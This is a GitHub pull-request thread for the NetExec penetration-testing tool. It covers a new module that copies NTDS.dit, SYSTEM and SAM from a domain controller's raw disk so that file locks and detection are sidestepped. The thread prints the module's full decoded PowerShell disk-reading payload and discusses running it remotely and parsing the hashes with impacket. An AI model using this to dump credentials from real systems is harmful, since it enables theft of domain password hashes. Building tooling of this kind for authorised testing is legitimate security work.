Add raw-ntds-copy module
A new module for dumping the NTDS.dit, SYSTEM, and SAM files directly from the hard drive by analyzing the NTFS structure. This can be considered an alternative method to Shadow Copy, enabling the extraction of these files even if they are locked or protected by a process. It doesn't use the standard Windows API for file access, making it difficult for security solutions to detect which files are being copied.
@0xb11a1 This is an awesome technique, any reference to this? I just know that RawCopy can do this, but I don't know how to calculate the buf/offset stuff.
Hey @XiaoliChan, unfortunately I don’t have a specific reference for this as it’s a bit messy and gathered from multiple sources. However, this tool 'Active@ Disk Editor' has been really helpful, especially with its template feature that highlights header structures. here is an example of it :
What exactly do you mean by buf/offset? If you’re referring to the dataRun (the actual location of file fragments on disk), I understood it from this video: https://www.youtube.com/watch?v=6WFUM5eViIk . My implementation of it can be found in the 'decode_dataRun' function within the code. let me know if that helped or not.
This looks really cool! Thanks for the PR. Can you provide the source code for the base64 encoded code and how you compiled it, so i can verify the code myself?
Thanks @NeffIsBack, for decoding the code, it uses only base64, you can decode it directly yourself using Cyberchef from here https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&oenc=65001
What the code does is creating a function that reads "PHYSICALDRIVE0" by specific offset, then base64 the output binary and compress it using gzip for faster network transfer.
The decoded version :
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public class CNativeMethods
{
public const uint GENERIC_READ = 0x80000000;
public const uint OPEN_EXISTING = 3;
public const uint FILE_SHARE_READ = 0x00000001;
public const uint FILE_SHARE_WRITE = 0x00000002;
public const uint FILE_SHARE_DELETE = 0x00000004;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(
SafeFileHandle hFile,
byte[] lpBuffer,
uint nNumberOfBytesToRead,
out uint lpNumberOfBytesRead,
IntPtr lpOverlapped
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetFilePointerEx(
SafeFileHandle hFile,
long lDistanceToMove,
out long lpNewFilePointer,
uint dwMoveMethod
);
}
public enum EMoveMethod : uint
{
Begin = 0,
Current = 1,
End = 2
}
"@
Function read_disk{
$offset = [long]$args[0]
$size = [int]$args[1]
try {
$handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0",
[CNativeMethods]::GENERIC_READ,
[CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE,
[IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
if ($handle.IsInvalid) {
throw "Failed to create file handle"
}
$moveToHigh = 0
$success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
if (-not $success) {
throw "Failed to set file pointer"
}
$buffer = New-Object byte[] $size
$bytesRead = 0
$success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
if (-not $success) {
throw "Failed to read file"
}
$memoryStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compreass)
$gzipStream.Write($buffer, 0, $buffer.Length)
$gzipStream.Close()
$compressedBytes = $memoryStream.ToArray()
$compressedBase64 = [Convert]::ToBase64String($compressedBytes)
Write-Output $compressedBase64
} catch {
Write-Error "An error occurred: $_"
}
finally {
if ($handle -and !$handle.IsInvalid) {
$handle.Close()
}
}
}
Is there a way to add this code as an option for the --ntds core option ? Since we already have --ntds vss, may be we can add --ntds raw ?
Can this technique create a bsod ?
@mpgn i don't think so as the main function that is being executed in the DC is "CreateFile" to read at specific offset, unless it has some weird edge case. i will do some more research into it and stress testing it. everything else is handled in python.
@Dfte, it is a good idea to do that, i tried to do it yesterday thought it will be quick. but since the module requires the connection class in order to execute the Powershell code on the target, not sure how to do it in the structure of NetExec, i need to look more into it.
@Dfte, it is a good idea to do that, i tried to do it yesterday thought it will be quick. but since the module requires the
connectionclass in order to execute the Powershell code on the target, not sure how to do it in the structure of NetExec, i need to look more into it.
self.conn.execute(...) ?
Stupid question of mine may be but there is no way you can get the offsets remotely without executing any powershell ? PhysicalDrive offsets are not stored in registry keys ? (may be something I can assist with ?)
@Dfte i don't think they are stored there, but if you find a way to get the offset from there i think it would be good to have it. But either way for the raw copy to happen i think we still need to execute a Powershell script in order to get the data based on the extracted offsets.
Also, i switch it to be an ntds option as @Dfte suggested:
You can also use impacket to read the result directly instead of letting the user enter manually the final command 😉
@mpgn yea that is helpful, i will try to check some examples from Netexec and do the same.
@mpgn yea that is helpful, i will try to check some examples from Netexec and do the same.
you can check this https://github.com/fortra/impacket/blob/835e17550b57606ee3c681ae1c3f0edea096ec19/examples/secretsdump.py#L317
@mpgn i've added it
:crying_cat_face:
Can your please share the --debug output.
@mpgn Also try changing the executing method --exec-method smbexec or to another one.
From my testing it looks like it is working:
@mpgn maybe AV killed some commands?
No luck, av is disabled, Windows server 2019, could it be that both of you are testing against a server 2022 ?
Mine was running against WINTERFELL which is Windows Server 2019 with build number 17763. Looks like you have the same base image (also build number 17763) so i guess it's something else. Can you share the debug log?
@mpgn can you recheck this? Would nice if we could figure out the problem so we can merge the PR
I have updated the pull to sync with the main repo, making it work again. As for @mpgn , I was unable to reproduce the issue so far.
Hi, @0xb11a1 really sorry for the extremely late response 👀
We talked a bit internally and due to the required command execution i think it is best if we would convert it to a module similar to the ntdsutil module. Would that be fine for you?
Hey, no worries will work on it during the weekend
Great, thanks!
Above I only marked a few examples of lines that need to be changed. Please review your code according to the stuff above
Did the requested changes, please review them and let me know if they are correct or if anything else needs to be done
Did the requested changes, please review them and let me know if they are correct or if anything else needs to be done
Looks much better! Thanks!
Another thought, how about we name the module ntds_dump_raw? A bit more descriptive imo and if the module begins with ntds... it will be listed next to ntdsutil when listing modules. Thoughts everyone?